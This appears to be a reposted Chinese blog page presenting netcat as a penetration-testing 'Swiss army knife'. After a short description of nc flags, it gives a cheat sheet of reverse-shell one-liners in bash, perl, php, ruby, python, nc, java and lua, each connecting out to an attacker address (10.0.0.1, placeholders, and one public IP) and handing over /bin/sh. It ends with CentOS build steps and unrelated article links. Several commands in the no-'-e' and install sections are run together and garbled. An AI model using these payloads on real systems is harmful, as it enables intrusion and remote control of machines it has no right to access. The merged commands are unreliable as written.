当前位置: 首页 > news >正文

渗透测试工具-瑞士军刀NC

NC: netcat

一个简单、可靠的网络工具

  • nc的作用

(1)实现任意TCP/UDP端口的侦听
可作为server 以TCP或UDP方式侦听指定端口

(2)端口的扫描
nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速

  • 控制参数
    -l
    指定nc将处于侦听模式,被当作server
    侦听并接受连接,而非向其它地址发起连接。
    -p
    暂未用到(老版本的nc可能需要在端口号前加-p参数)
    -s
    指定发送数据的源IP地址,适用于多网卡机
    -u
    指定nc使用UDP协议,默认为TCP
    -v
    输出交互或出错信息
    -w
    超时秒数,后面跟数字
    -z
    表示zero,表示扫描时不发送任何数据

https://www.cnblogs.com/nmap/p/6148306.html

NC反弹shell命令

本机开启监听:

nc -lvnp 4444 
nc -vvlp 4444

目标机器开启反弹

bash版本:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc版本:

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

NC版本不使用-e参数:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc x.x.x.x 4444 1>/tmp/backpipe/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

centos 安装

 wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gztar -zxvf netcat-0.7.1.tar.gz -C /usr/localcd /usr/local/netcat-0.7.1/./configure
make && make installvi /etc/profileexport NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/binsource /etc/profile
nc -V

在这里插入图片描述

http://www.xdnf.cn/news/795727.html

相关文章:

  • 正则表达式(6):分组与后向引用
  • 2021年4月90篇GAN/对抗论文汇总
  • 百度谷歌一起搜 - 百Google度 - Chrome插件2
  • 如何在modelsim中 直接 仿真vivado 原语和IP
  • 用VS2005开发WinCE程序调试图文教程
  • android 百度输入法,Android系统预置百度输入法
  • Fedora 13 正式发布 新功能介绍
  • 全国快递公司一览表
  • 7-37 组个最小数 (20分)_波音737高度计上蹊跷的“8英尺”,09年土耳其航空1951号航班空难...
  • 暗组肉鸡检测器
  • (附源码)基于PHP在线考试系统的设计与实现 毕业设计-06496
  • 上网行为管理软件的功能
  • Eclipse搭建android环境
  • BT下载原理学习简介
  • 游侠联机服务器没有响应,求助,游戏联机出现错误 - 《生存之旅2》 - 3DMGAME论坛 - Powered by Discuz!...
  • 移位密码(凯撒密码)
  • Oracle数据库学习基础
  • 浅析10kV~35kV变电所综合自动化系统的设计方案
  • MUX-VLAN基本概述
  • Linux的Shell编程
  • 可以获得高排名的B2B平台大全
  • Oracle 19c补丁升级(Windows)
  • 【精品】委内瑞拉大规模停电事件的初步分析与思考启示
  • 【wikioi】1028花店橱窗布置
  • 打开服务器文件的asp代码,asp文件用什么打开
  • 几种常见的电平标准
  • Android性能优化全攻略:让你的应用飞起来
  • 计算机网络知识汇总(超详细整理)从零基础入门到精通,看完这一篇就够了
  • 软件功能测试有哪些要注意的地方?技巧总结
  • 手把手教你编写跑马灯——STM32